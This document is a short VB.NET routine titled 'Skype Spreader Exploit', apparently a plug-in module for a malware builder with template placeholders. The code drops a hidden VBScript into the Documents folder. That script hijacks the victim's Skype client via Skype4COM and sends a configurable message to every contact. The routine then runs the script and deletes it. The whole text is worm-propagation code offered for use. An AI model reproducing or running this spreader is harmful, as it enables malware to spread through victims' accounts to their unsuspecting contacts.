Skype Spreader Exploit [VB] HQ

#UDT
#UltimateDevTeam

Sub SkypeSpread()
    If "%SKYPE%" = "True" Then
    Try
    Dim g As New StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\cc.vbs")
    g.BaseStream.Seek(0, SeekOrigin.End)
    g.WriteLine("on error resume next")
    g.WriteLine("set Fruxr = WScript.CreateObject(""Skype4COM.Skype"", ""Skype_"")")
    g.WriteLine("Fruxr.Client.Start()")
    g.WriteLine("Fruxr.Attach()")
    g.WriteLine("For Each KZN In Fruxr.Friends")
    g.WriteLine("Fruxr.SendMessage KZN.handle,""%IMMESSAGE%""")
    g.WriteLine("next")
    g.Close()
    Dim p As New Process
    Dim ProcessProperties As New ProcessStartInfo
    ProcessProperties.FileName = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\cc.vbs"
    Dim myProcess As Process = Process.Start(ProcessProperties)
    myProcess.WaitForExit()
    Threading.Thread.Sleep(5000)
    IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\cc.vbs")
    Catch ex As Exception
    MsgBox(ex.ToString)
    End Try
    End If
    End Sub